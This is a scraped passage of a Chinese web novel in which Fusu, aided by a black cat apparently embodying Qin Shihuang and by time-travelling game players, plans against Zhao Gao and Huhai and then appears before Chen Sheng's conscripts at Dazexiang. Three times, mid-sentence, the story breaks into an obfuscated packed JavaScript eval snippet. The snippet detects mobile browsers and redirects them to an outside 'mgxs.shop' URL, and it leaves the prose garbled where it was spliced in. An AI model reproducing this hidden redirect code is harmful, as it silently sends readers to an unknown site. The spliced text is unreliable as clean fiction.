废太子群莫名静默了一会,刘据语气复杂道:“所以这个任务,你父皇陪你一起做,还给你开挂了?” 听起来好心酸,李承乾都不忍心嘲笑刘据了。 胤礽想了想,安慰道:“毕竟大秦二世而亡了,始皇有执念,想再续一百年,这很正常。扶苏是长公子,又是始皇选定的继承人,不帮他帮谁呢?” 是这样,他们四个人里,看上去个个都有父子关系的困扰,但扶苏还是微妙地与其他人不同。 不是因为扶苏不是太子,而是,扶苏是他们几个里唯一一个被身为皇帝的父亲所选定的继承人。 刘据李承乾和胤礽都被父皇(皇父)废了,但扶苏没有。 刘据打开自己的那个任务,对比了一下,低低地沮丧道:“扶苏你这个任务虽难,但现在看来,难就难吧,也不算最糟糕。” 胤礽的目光离开他的屏幕,看向刘据:“羡慕啦?” 刘据摇摇头:“羡慕不来,我父亲是不可能帮我做这个任务的。始皇陛下,比史书写的,还要有人情味多了。” 有人情味吗?扶苏没有反驳。尽管他与嬴政疏远了很多年,但是看子虞就知道了,要把这样孤独病弱的小生命护到这个年岁,养得白净俊秀,不费心思是不可能的。 更何况…… 扶苏出神地望向玄猫,猫猫蹲坐在孩子枕边,尾巴绕着脚脚,已经专心地看了孩子很久。 蒙毅偷偷摸摸看了好几次猫,把疾医送出门,嘱咐从者煮药,安排公子公主们落脚。 诸多琐事,蒙毅都会处理得很妥帖。 “公子?”阿里探头探脑地在外面冒出来。 “有事?”扶苏走向她。 阿里本来是在写论文的,大晚上对着文档发呆了两小时一个字没动之后,打开直播间解解闷,结果被晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644946|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒的小公子吓飞了,连忙上游戏看看情况。 “小公子还好吗?”她不大放心。 “没有大碍,不必担心。”扶苏对她和颜悦色,“多谢挂念。” “是不是得熬药?我去帮忙。”阿里自告奋勇。 扶苏叫住她,问道:“我方才回来的路上,看见好多人抱着伞,是做什么去?” “送伞,刷好感度。”阿里干脆道,“鲁八那边不是刚造出一批伞来嘛,我们内部都领差不多了,大家就说在新开的豆腐坊附近送伞吧。” “有黔首去领了?” “不少呢,他们还回赠了些家里的东西,小麦种子、陶罐、小狗崽、干菜、鸡蛋什么的。”阿里笑起来,“民风真淳朴啊。” 黔首们只是穷且不识字而已,谁对他们好,他们一清二楚。 “公子。”花生米也过来了,拎着两个篮子,左边是哼唧哼唧的黄色小狗崽,右边是一篮子鸡蛋和枣栗,“我们聊天的时候被买豆腐的大娘听见了,听说小公子病了,她回去和左邻右舍的凑了这一篮子,托我送给公子。——你能收吗?” 扶苏哪有不收的道理? 他微微动容,收下了那篮沉甸甸、不知道凑了几家才凑齐的鸡蛋和枣栗。 “你等会帮我带几匹布,赠予他们吧,最近天气逐渐凉了。” “好。”花生米一口应下。 这年头布和粮食是硬通货,在很多地方都是当货币使用的,越偏僻的地方越是如此。 扶苏顺便问了下:“我这里有土豆红薯和棉花,这个季节是不是都种不了?” 花生米并不惊讶扶苏超乎时代的东西是哪来的,毕竟游戏,一切皆有可能。 她立刻道:“以上郡的温度,外面都种不了了,室内倒是可以种一点点,温室种植,汉……呃,早就有了。用炭火保温,成功率还是很高的,反季蔬菜也能种。我这边正在弄,公子要是相信我的话,可以把种子给我,我先种几缸试试。” “那就辛苦你了。”扶苏把从系统那里得来的几袋种子都交给了她。 土豆和红薯都怪沉的,棉花蓬蓬松松很占地方,花生米和阿里没要侍者帮忙,拎起来就走。 在小黄狗嘤嘤嘤的背景音里,扶苏还能听见阿里小声嘀咕:“好想吃土豆牛肉,不知道游戏里的味道和现实里一不一样?” “吃牛肉犯法。”花生米提醒她,“前天刚有个馋牛肉的,想买人家耕地的牛来吃,被报官送进去了。你忘了?” “我哪能忘?都全服通报了。我就想想而已。” “馋就点外卖,半小时就吃到嘴了。走吧,正好看看那边捣鼓火炕的怎么样了,上郡的冬天可是很冷的。” …… 扶苏只是听着,就无端觉得轻松了些。这些玩家们总是这样,跑来跑去,精力无限,带着风风火火、天不怕地不怕的朝气,给死气沉沉的上郡注入新的活力。 虽然偶尔会惹点小麻烦,但跟他们带来的改变来说,这点麻烦也不算什么了。 扶苏会记得,隔三岔五去捞犯法的玩家们出来的,——哪怕他们在公共场所贩卖私盐。 “李斯的信,你还没看。”玄猫出声提醒。 “哦。”扶苏脚步轻快地走到床边,坐下来,取出将闾交给他的蜡丸,缓缓拆开。 入目的笔迹工整优美,无可挑剔,和玉玺上的小篆如出一辙。 不愧是李斯,这字随手一写,都能传世了。 玄猫靠过来,三角形的耳朵好像棉花做的,又铺上了柔软的绒毛,浑身上下无一处不软萌温暖,但是不给摸。 扶苏一直很想摸一把,但是不敢。 李斯的回信很简单,也很谨慎,主要写了赵高与胡亥欲杀尽诸公子与公主,他不忍心,愧悔自己被赵高胁迫,行了矫诏之事,眼下幡然醒悟,迷途知返,冒险救援将闾和子虞,希望可以弥补两分过错。 “日后待公子回归咸阳,臣自请就刑,俯首伏罪……” 玄猫若有若无地“哼”了一声,不知道是满意还是不满意。 “你打算如何处置李斯?”猫猫问。 扶苏想起了梁山宫那件事,故意道:“我打算让他步商君后尘,你觉得呢?” 你觉得呢,不让摸的猫猫父皇陛下? 你会舍不得你曾经最看重的丞相吗? 12. 父子夜话 李斯曾经有多受宠呢?嬴政每次出巡,身边带的公子经常不一样,但每次几乎都带了李斯。 泰山封禅也带李斯,留右相冯去疾看家留守。 李斯的儿女与嬴政全结了亲家,是嬴政主动要求的。 那么重要的传国玉玺上,刻的是李斯的字,简直是种要把李斯和王权绑定一般的恩宠。 梁山宫那次,嬴政远远看见李斯车骑众多,面上不悦,宫人偷偷把这事告诉了李斯,李斯马上减损了车骑。 这么明显的内外勾结,窥视宫禁,嬴政也只是杀了左右宫人,没有责备李斯一句。 这样的信任和恩宠,换来的是什么呢? 扶苏都参与不了嬴政和李斯之间这样复杂的纠葛,他其实也没打算杀李斯,但不妨碍他拿李斯诈一下嬴政。 猫猫的表情凝固了一瞬,仿佛有点惊讶:“你有意将李斯五马分尸?” “不行吗?”扶苏反问。 猫猫带着点狐疑,抬眼注视扶苏:“你若能如此狠绝,也不至于自刎了。” “我反省了很久,人总不能在一个坑里反复摔倒吧?李斯这样的墙头草,改换门墙也太快了,谁知道他以后会不会又反复呢?” “不会了。” “哦?” 玄猫简洁道:“他惜命,还爱权。此时应该已经发现,赵高胡亥皆非可谋之人,不向你示好,他三族都保不住。” “哦。”扶苏慢吞吞道,“那我杀李斯,你没有意见吧?” “没有。” “真的?” “我为何要有意见?”玄猫莫名其妙,“你的死,李斯也要占一半责任,那么你要杀他,有何不可?” “是吗?”扶苏歪头盯着猫,意味不明地反问。 玄猫被他问烦了,尾巴一甩,转过头看孩子了。 “那我真杀喽?”扶苏虚虚地把手放玄猫尾巴尖上,没有真的摸到猫毛。 “你不是在着手改律法,废酷刑重役?”玄猫不耐烦。 “不五马分尸,也能斩首。” “那你斩吧。” 好吧,没试探出什么来。但扶苏并不沮丧,相处的时间越久,他越笃定这猫就是嬴政,哪怕没有任何证据。 父子亲缘之间,认出对方的灵魂,还要什么证据呢? 晚间秋雨潇潇,连绵不绝。子虞模模糊糊醒来,靠在扶苏怀里,喝了碗苦涩药汤。 扶苏拿枣糕喂孩子,听见子虞含糊地呢喃:“狸狌?” “嗯。” “他在榻上……可以摸吗?” 这个扶苏就不知道了,反正他是不敢乱摸。但玄猫不知是不是看孩子病中可怜,竟然往子虞的手边挪了一步。 子虞小心翼翼地伸手,却被猫猫抬起爪爪摸到了头。 “诶?”子虞一脸懵逼,看看猫,又看看扶苏。 扶苏忍俊不禁,喂完恹恹的孩子,就试着用枣糕喂猫。 “其实我不需要进食。”猫猫对他频繁的投喂产生了些许困扰。 子虞大惊:“狸狌会说话?” “能运到上郡的甘蔗和柘浆可不多,再用制糖法过一遍,剩下的糖快比金子贵了。”扶苏小声地哄着,猫猫顿了顿,给面子地咬了一口加糖的枣糕,慢慢咀嚼。 “蜀郡和南越盛产此物。”玄猫平静道,“上郡的物产还是太少了。” “毕竟临近边境了。”扶苏随口道,“上郡连橘子都没有。” “云梦秭归,淮南寿春,遍地橘柚。” 话说到这里,三人同时都想起了楚国。楚国水系发达,地广物博,各种各样的水果自然比上郡这种地方要多得多。 而扶苏的母亲芈夫人,就是曾经的楚国公主。 子虞默默地躺下来,好奇地听他们对话,嘀嘀咕咕:“咸阳有很多橘子,很好吃。” “那都是水路运过去的。”扶苏笑着解释,“咸阳虽然也种了些橘子树,但味道不怎么样,种不出淮南的味道。” “阿父在上郡吃不到橘子吗?” 扶苏笑了笑,没有接话。 上郡这种地方,离咸阳足有千里,离匈奴反倒近些,冬天来得太早,日子过得也艰难,哪里有这么奢侈的水果可以吃? “不知道叔公和丞相那边怎么样了?”子虞见扶苏没回答,心里就明白了,换了个话题。 “应该还在僵持。”扶苏推测,问了问猫猫,“对吧?” “嗯。”玄猫表示赞同,爪爪拉扯了一下子虞的被子,给孩子盖到胸口,“睡吧。” 猫猫最近常用的软塌被孩子占了,因不放心,扶苏也没把孩子挪到隔壁房间。 等子虞乖巧地闭上眼睛,迷迷糊糊地又睡去,扶苏看向玄猫,含笑问:“你今晚睡哪里?” “我不睡。” “那我简直是在虐猫。” “我不是猫。” “其实我的床很大。”扶苏颇为期待,向玄猫伸出双手。 玄猫环顾四周,把扶苏的卧室瞧了个遍,依然没看上精心布置的猫窝。 “我回系统里去。” “别啊,那多寂寞。”扶苏连忙阻止,“不然我睡隔壁?” 玄猫默了默,妥协似的低声:“罢了。” 他不搭理扶苏的手,但轻巧地跳上了扶苏的床铺,挑了个顺眼的位置,盘踞在中间。 猫不大,占地面积还不小,扶苏只能给他让出大半地盘,往边上躺。 扶苏心里事儿多,一时半会睡不着,记挂着咸阳那边的动态,有一搭没一搭地念叨:“胡亥和赵高发现将闾他们都跑了,会问责叔父吧?” “自然。” “不知道叔父顶不顶得住?” “冯去疾不会坐视不理。” “赵高会不会对叔父下手?” “子婴能自保。” 玄猫说话总是这样,简简单单,平平静静,甚至于听起来冷静到冷淡的地步了。 扶苏的心却在这简短的几句话里,逐渐沉静下来,没有那么担忧焦躁了。 “被撤职是肯定的了,撤掉叔父,赵高肯定会换一个更听话的。” 扶苏喃喃自语,几乎和玄猫异口同声地说出了一个名字。 “章邯。” 章邯是九卿之一的少府,本来管皇家小金库和手工业,大秦还剩的墨家子弟多半都在他麾下,此前在修骊山陵。 现在骊山陵仓促收尾,子婴又放跑了一堆公子公主,胡亥和赵高气得半死,肯定得想法子换人,多半就会把章邯召回来接管中尉军。 章邯并不是赵高的人,但他只要听从胡亥的诏令,就等于赵高的人。 下次谁再想从咸阳往外跑,就没那么容易了。 “之前在驿站截获了阎乐和赵成的文书,可以让善于模仿的玩家伪造书信,传回咸阳,能瞒多久就瞒多久。”扶苏思量着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644947|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可。明日该把王离放出来了。”玄猫提醒,“他近来很安分。” 扶苏失笑:“差点把他忘了。” 灯烛熄灭了几盏,外面的雨声更清晰了点,扶苏没办法在夜色里看清溶于黑夜的玄猫了,怕不小心压到猫,他就缩在很小的范围里。 “再动你就掉下去了。”黑暗中亮起一双金色眼睛,炯炯有神,好似夜光灯。 “我怕压到你。” “我不傻。”猫猫似乎鄙夷地看着他。 扶苏就不乱动了,心平气和地睡去。 翌日放晴,扶苏去牢狱捞王离的时候,顺便捞了一串作死的玩家。 包括但不限于爬城墙看热闹点火、比赛拿伞跳城墙、做孔明灯实验把人家柴火堆烧了的、在驰道上夜跑(驰道不许平民用)、穿紫色丝绸衣服(平民不能穿)、宵禁了还在外面街道看月亮烧烤、聚众赌博、在路上乱扔垃圾、百步之内没有见义勇为、什么也没干被邻居连坐的…… 秦法本来就管得严,琐碎非常,还有些不了解秦法的人根本想不到的违法点。 比如百步之内必须见义勇为。贼人当街伤人,秦法规定必须得救,除非你是老弱病残,不然不制止也有罪,要罚两副铠甲的钱。铠甲多贵,一般人哪付得起?最后不是倾家荡产就是用劳役抵债。 连坐就更别提了,周围邻居五户或十户是一组,一旦有人犯罪,而邻居没举报,就互相连坐。 扶苏现在的日常,就是每天去狱里捞玩家,释放无辜连坐的犯人,然后抓紧时间修订律法,争取早点发行。 “要是丞相在就好了,他擅长这个。”扶苏忙晕头的时候,难免想起李斯。 李斯真的很好用,真的。 就冲着他无可替代的好用,扶苏就没打算杀李斯。 玄猫对扶苏修订律法这件事,不发表意见。治世不一道,便国不法古。法家本来就是最讲究变法的,不然叫什么法家? 扶苏让人把那几扇狱门一一打开,玩家们有几个在拿豆子下五子棋,看见他过来,连忙叫醒那些挂机下线的。 “快醒醒,公子来了,我们可以出去了。” 扶苏顺便去看看倒霉的王离,对他笑道:“将军受苦了,我实在是不得已而为之。” 王离天天看着旁边的狱室一波波换人,不管是进来的还是出去的,都活蹦乱跳,大大咧咧,丝毫没有把监狱放在眼里的意思。 王离觉得纳闷,没事干的时候就观察这些奇奇怪怪的玩家,听他们叽里呱啦说一堆他听不懂的话。 虽然很多词都听不懂,但这些人坐牢都神采飞扬的状态,倒真是少见。 “咸阳使者来过了?”王离还没见到呢。 扶苏就拿出了李斯的信,给王离看。前因后果,一目了然。 王离看完,也就信了八九分,继而问:“那公子如今打算怎么办?” “等。” “等什么?”王离不解。 “等一场大雨。” 扶苏说完,群里就发出了窃窃的笑声。 “我记得,陈胜吴广起义,打的就是扶苏你的旗号吧?”李承乾戏谑道,“这不得让起义军见识一下,扶苏公子到底是何模样?” “那到时候,就真的应了那句话——”刘据慢吞吞说了一半,胤礽随口接道,“陛下……啊不,公子何故谋反?” 公子何故谋反? 公子当然要谋反。 13.陈胜吴广:见鬼了 秦二世元年,胡亥继位后加重了徭役和酷刑,一张苛诏下去,征发天下黔首戍守渔阳。 淮南九百多名黔首被强行征召,向北赶路,奔赴千里外的北疆。行至大泽乡时,恰逢暴雨倾盆,土路被淹成泽国,不负“大泽乡”之名。 大泽乡属于蕲县,战国时期隶属楚国,离曾经的都城寿春不是很远。 楚地多水,也多反骨。 这地势低洼的地方,遇上连日的暴雨,道路阻绝,反骨就滋生了。 夜深人静时,屯长陈胜拉着吴广,走到没人的地方,左看右看,确定没人偷听,才低声愁道:“这雨还不停,路也没了,就算后面再抓紧赶路,定然也会迟到了。依秦律,失期当斩,你说我们怎么办?” 吴广也愁:“唉,我也正想呢,怎么办?如今这秦律越发严苛了,根本不给人活路。” 陈胜与他一拍即合,马上道:“你看,失期是死,逃跑被抓到也是死,反正都得死,不如咱们拼一把!” “就咱们?”吴广虽然心动,但知道自己没什么根基,不觉犹豫道,“能有几个人跟咱?” “借个名头不就是了?咱们名声不够,自然有人名声够。我听说,本来该当皇帝的扶苏公子,结果被二世害死了。百姓们大多听闻过公子的贤名,但不知道公子已经死了。我们若是打着扶苏公子的旗号,还怕不能聚拢人心吗?”[1] 这话说的,吴广更心动了。 “你要这么说的话,那还真可以。” “而且,这是楚地,当年项燕在楚地也颇有声名,虽然他死了,但也不乏有人传言,说项燕只是逃了。那我们再加上项燕,多少能笼络到一些楚地的人心。”陈胜脑子动得飞快,考虑得还挺周全。[2] 楚国当年是唯一一个完全分封的国家,从上到下都很散装,各自为政。项燕的核心军队基本来自项家盘踞的淮北淮南一带,除了亲族,就是江东父老。 当初项燕败在王翦手里,自刎而死,楚国沦陷,楚地的人心却没有亡,至今没有彻底归顺服从。 大泽乡,就是当年项燕率军抗秦的地方之一。 “光人心还不够,还得借天意。”陈胜与吴广嘀嘀咕咕,商议到半夜,开始做造反的前期准备。 第二天早上,雨还在下,戍卒们饿了,去涨水的河边捞鱼做饭。 这水多的,都把鱼冲到路中央了。几只钓鱼佬跟夜鹭似的,猥琐地披着蓑衣,立着大伞,巍然不动,仿佛是来喂鱼的。 戍卒们看了看钓鱼佬的装备,尤其是桐油的伞,不理解这些人的桶为什么是空的。 他们随手撒网,捞起几条活蹦乱跳的鱼,就在水边剐鳞剖腹,想把鱼处理干净,回去煮鱼汤吃。 到处都被淹了,能轻易吃的,也只有鱼了。 奇怪的事情发生了,那鱼肚子一剖开,里面居然藏着带红字的白布。 有人惊骇地把布取出来,打开一看,上面赫然写着:“二世窃国,天命扶苏”八个大字。 人群瞬间一片喧哗,宛如聚众的蜜蜂,用面面相觑的震惊表情,营造出了诡异的无声但七嘴八舌的效果。 想说什么,但又不敢说。 路过的钓鱼佬凑过来看热闹,嘿嘿笑道:“谁把我心里话写出来了?二世本来就是矫诏窃国嘛,不然他干什么下令,想杀所有兄弟姊妹?扶苏公子肯定有天命啊,他有楚国血脉,还是长公子,他没有天命,谁有天命?” 不少人深以为然,还有的偷偷跟了一句:“要是扶苏公子当皇帝,说不定我们也不用被徭役所苦了。” “至少不会因为迟到就得死吧?以前也没这么严重。” “扶苏公子也是我们楚人呢。” “对啊,是我们楚人。” …… 楚地这个既散装又有点排外,还眷恋故土,内斗的同时又能聚众对外的德性,再过两千年都没变。 就这么几句话功夫,就把扶苏打上了“楚人”的标签,也不管秦人同不同意。 戍卒们偷偷议论着,藏起布条,一整天都有点鬼鬼祟祟的,心神不宁。 晚间他们宿在古祠里,在东皇太一的旧雕像附近,点燃篝火取暖照明。 七月本没有多冷,奈何风雨连绵,湿度达到了百分之百,衣服好像永远都没干,连神像上的蜘蛛网都挂了好多水珠。 这祠已经荒废许久了,点火的木头也潮气很重,不免生起幽幽的灰烟,带着腐朽湿润的气息,烧不透,火也不大。 这火光闪闪烁烁,飘摇地映着一张张麻木的脸。 他们的命途,也像这风雨和这火光一样飘摇。 忽然有什么声音在雨中响起,仿佛是狐狸的叫声,凄厉地穿透夜色。 “大楚兴……” 戍卒们只模糊地听到了这几个字,就被一阵强劲的音乐给打断了。 “狼烟起,江山北望,龙旗卷,马长嘶,剑气如霜……” [3] 这个乐声恢弘壮阔到了极点,自带千军万马保家卫国的气势,把戍卒们都听傻了,一时间不由自主地血脉偾张,莫名其妙就燃了。 燃什么不知道,但反正就很燃。 心脏仿佛和乐声里的鼓点共振,热血上涌,很想大声嚎叫,或者拿起什么东西和谁打上一架。 他们瞬间就会觉得自己不是在送死,而是在干一番惊天动地的大事业! 到底是什么事业,也无人说得清。 在这激情炸裂、热血沸腾的关键时刻,有脚步声悄然靠近,礼貌地敲响了木门。 但古祠的门不结实,吱吱呀呀地自动开了,一道玄红色的身影,出现在众人眼前。 身高八尺,容姿卓绝,撑着一把凤舞九天的朱红伞,玄色为主的衣着压了压这艳丽夸张的配饰,但袖口精致勾连的火焰云纹和腰间佩戴的凤鸟玉佩,无一不彰显着他的不凡。 刹那之间,甚至有几个人僵硬地扭头,战战兢兢地去看身后的神像。 东皇太一在蜘蛛网的水珠里,垂眸肃然,反射着金红的火光,端凝得像门口背对着风雨的那个身影。 是……是神祇显灵了? 楚地是个极迷信的地方,杂糅了一堆巫祝凤鸟山鬼水神文化,崇尚凤与火,偏爱浓艳热烈繁丽,流行黑红撞色,神鬼之说深入人心。 而这位自带曲乐的来客,几乎把楚地的浪漫昳丽集于一身,也难怪有些人首先想到了神祇显灵的方向去。 来者似乎浑然不觉自己有多特别,多显眼,向众人微微一笑,十分礼貌。 “深夜遇雨,叨扰诸位了,不知可否行个方便,容我在此过个夜?” 乐声弱了下来,好像不敢掩盖尊客的声音。 众人皆茫然,下意识看向屯长和都尉。 屯长陈胜的神情还在凝固石化,惊疑不定,而两个大秦的将尉白日喝酒晚间大睡,浑浑噩噩的,刚刚被乐声吵醒,一个比一个懵。 尊客好脾气,爱笑语,见没人吭声,接着笑道:“如果诸位愿行个方便,我这里有些清酒,愿请诸位遍饮。” 将尉脱口而出:“戍卒不可饮酒!” 来客笑吟吟地反问:“哦,我却不知,戍卒不可饮,将尉凭何得饮?谁允许你率卒戍边途中,每日喝得一身酒气?” “你!你怎么敢责问我等?” “尔等失责,莫非以为无人敢管?” 其中一个将尉怒而抄起鞭子,另外一个连忙按住他,在其耳边道:“你眼睛瞎了,看不见这是个贵人?” “荒郊野岭的……” “荒郊野岭的,你怎知他是否孤身?何况这乐声……你听得清到底从何而来吗?” 抄鞭子的将尉语塞,酒都惊醒了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648249|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大半,一时讪讪。 “尊客请进,这古祠非我等地方,不过也是借宿避雨罢了,还望贵客莫要嫌弃。我名为敦,这是厉,我们确实有错在先,尊客若要上告,我等也认罚。” 敦比较识时务,当然,可能也是来客那一身华丽到发光的锦衣和金线刺绣,以及这铮铮却不知来处的乐声,导致他变得识时务。 来客笑意加深,走进这荒旧古祠。耀耀煌煌,风仪华贵。 “那便多谢诸位了。” 而后竟有一行朱衣的女子鱼贯而入,袖中飞出带着香气的兰花,衣带当风,步步生莲。 她们放下十几个手提的乌樏,取出还带热气的馒头,分发给呆若木鸡的众人。 手里馒头发完,她们陆续出门,取出更多的馒头和盛汤的双耳可拎的铁锅,舀着热汤一一分出去,跟食堂开饭了似的。 将尉们呆滞地看着,窃窃道:“这、这瞧着不像铜,也不是陶,很坚硬的样子……” 大肚子的铁鋞和铁釜里,豆腐肉汤还冒着香喷喷的热乎气,配上白得惹眼的馒头,吸引了所有人的注意。 女子们不仅给这个空间的戍卒送了吃食,还三五成群地穿梭到侧室后院,跟喂挨饿的流浪猫似的,放下食物引诱宿在其他地方的戍卒们来吃。 吃食分得差不多了,她们又搬来酒,一碗接一碗地倒出来。 这时代酒的度数很低,用来暖胃最好不过了。 戍卒们双眼放光,直咽唾沫,鉴于贵人出现得太神异,没人敢哄抢。 他们不管三七二十一了,纷纷向客人抱拳俯首,从歪七八扭的姿势改得端正了些,嗅了又嗅,连忙道谢,大口大口地吃起来,好像怕晚了一秒,就没得吃了似的。 “多谢多谢!” “我给你磕两个吧,不然这顿饭我吃着都不安心。” “我的亲母啊,这什么汤,我都没见过。” “这也太香了!好吃好吃(嚼嚼嚼),居然没有一点土壳(嚼嚼嚼)……” 狼吞虎咽,风卷残云,是最真实的写照。 还好一个罍里可以装五六十件餐具,不然光餐具都发不过来了。 一行又一行从者进进出出,与女子们一同发放食物,身上居然都没多少水汽。 戍卒们兴高采烈地吃吃喝喝,好像在做一个美梦。 唯有浑身湿漉漉的吴广,失魂落魄地从外面走进来,淋得像个落汤鸡,在戍卒们热情的召唤声里,尴尬地挤出笑,一屁股坐在陈胜旁边。 “发生什么事了?”吴广摸不着头脑。 他本来好好地按计划行事,给鱼里藏了“大楚兴陈胜王”的布,怎么变样了? 一计不成,再生一计。鱼腹藏书不管用,他们想到了篝火狐鸣。 刚刚吴广在树丛里学狐狸叫呢,才学几声就被打断施法,等了半天也等不到机会,只能憋屈地自己回来了。 在忙活着给戍卒发放食物的时候,女子中还有两个铺席置案,用便携的食盒与小汤锅,给扶苏也备了一桌吃食。 将尉们也得到了投喂,犹犹豫豫中,见扶苏向他们招手,不知怎的,就乖乖坐过去了。 吃人嘴软,拿人手短。鲜美的豆腐肉汤还在嘴里回味,软绵绵的煊乎大馒头一口下去面香满齿,这个时候,谁好意思对食物来源横眉冷对? 过河拆桥还得先过河呢。 两头将尉坐到了扶苏对面,竟有点局促。 扶苏向他们举杯,将尉们看看温润如玉的白瓷和瓷杯中清澈的酒液,更局促了。 大秦哪有这么细腻莹润的漂亮瓷器?这时候的瓷器和陶器区别不大,古朴得很。 “贵客如此慷慨,我等却不知贵客如何称呼?”敦小心翼翼地试探了一句。 扶苏和蔼可亲地笑道:“我名扶苏,不知道二位有没有听说过?”